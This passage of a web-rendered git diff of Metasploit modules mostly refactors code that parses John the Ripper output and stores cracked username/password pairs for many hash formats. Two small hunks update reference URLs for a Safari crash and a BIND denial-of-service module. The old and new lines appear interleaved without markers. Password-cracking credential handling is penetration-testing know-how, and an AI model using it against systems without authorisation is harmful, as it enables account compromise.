9.times { fields.pop }
|
||||
when 'md5crypt', 'bsdicrypt', 'crypt', 'bcrypt', 'xsha', 'xsha512'
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
4.times { fields.pop }
|
||||
when 'PBKDF2-HMAC-SHA512'
|
||||
next unless fields.count >= 2
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'mssql', 'mssql05', 'mssql12', 'mysql', 'mysql-sha1',
|
||||
'oracle', 'dynamic_1506', 'oracle11', 'oracle12c'
|
||||
next unless fields.count >=3
|
||||
'oracle', 'dynamic_1506', 'oracle11', 'oracle12c',
|
||||
'PBKDF2-HMAC-SHA1', 'phpass', 'mediawiki', 'pbkdf2-sha256',
|
||||
'mscash', 'mscash2'
|
||||
next unless fields.count >= 3
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1506' #oracle H code
|
||||
next unless fields.count >=3
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1034' # postgres
|
||||
next unless fields.count >= 2
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1034' #postgres
|
||||
next unless fields.count >=2
|
||||
username = fields.shift
|
||||
password = fields.join(':')
|
||||
fields.join(':')
|
||||
# unfortunately to match up all the fields we need to pull the hash
|
||||
# field as well, and it is only available in the pot file.
|
||||
pot = cracker.pot || cracker.john_pot_file
|
||||
|
||||
File.open(pot, 'rb').each do |line|
|
||||
if line.start_with?('$dynamic_1034$') #postgres format
|
||||
lookups.each do |l|
|
||||
pot_hash = line.split(":")[0]
|
||||
raw_pot_hash = pot_hash.split('$')[2]
|
||||
if l.username.to_s == username &&
|
||||
l.jtr_hash == "#{username}:$dynamic_1034$#{raw_pot_hash}" &&
|
||||
l.db_hash == raw_pot_hash
|
||||
core_id = l.id
|
||||
break
|
||||
end
|
||||
end
|
||||
next unless line.start_with?('$dynamic_1034$') # postgres format
|
||||
|
||||
lookups.each do |l|
|
||||
pot_hash = line.split(':')[0]
|
||||
raw_pot_hash = pot_hash.split('$')[2]
|
||||
next unless l.username.to_s == username &&
|
||||
l.jtr_hash == "#{username}:$dynamic_1034$#{raw_pot_hash}" &&
|
||||
l.db_hash == raw_pot_hash
|
||||
|
||||
core_id = l.id
|
||||
break
|
||||
end
|
||||
end
|
||||
when 'lm', 'nt'
|
||||
next unless fields.count >=7
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
2.times{ fields.pop }
|
||||
2.times { fields.pop }
|
||||
# get the NT and LM hashes
|
||||
nt_hash = fields.pop
|
||||
lm_hash = fields.pop
|
||||
fields.pop
|
||||
core_id = fields.pop
|
||||
password = fields.join(':')
|
||||
if format == 'lm'
|
||||
@@ -159,13 +176,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
password = john_lm_upper_to_ntlm(password, nt_hash)
|
||||
next if password.nil?
|
||||
end
|
||||
fields = password.split(':') #for consistency on the following join out of the case
|
||||
fields = password.split(':') # for consistency on the following join out of the case
|
||||
end
|
||||
unless core_id.nil?
|
||||
password = fields.join(':')
|
||||
print_good "#{username}:#{password}"
|
||||
create_cracked_credential( username: username, password: password, core_id: core_id)
|
||||
next if core_id.nil?
|
||||
|
||||
password = fields.join(':')
|
||||
print_good "#{username}:#{password}"
|
||||
# android hashes will also crack here, but the output fields are in a different order
|
||||
# check if core_id is an int or not, for android hashes it wont convert
|
||||
core_id_int = begin
|
||||
Integer(core_id)
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
next if core_id_int.nil?
|
||||
|
||||
create_cracked_credential(username: username, password: password, core_id: core_id)
|
||||
end
|
||||
end
|
||||
if datastore['DeleteTempFiles']
|
||||
|
||||
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'],
|
||||
['URL', 'https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'],
|
||||
['URL', 'http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'],
|
||||
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
|
||||
],
|
||||
'DisclosureDate' => '2018-09-15',
|
||||
|
||||
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2015-5477'],
|
||||
['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
|
||||
['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
|
||||
['URL', 'https://kb.isc.org/article/AA-01272']
|
||||
],
|
||||
'DisclosureDate' => '2015-07-28',
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user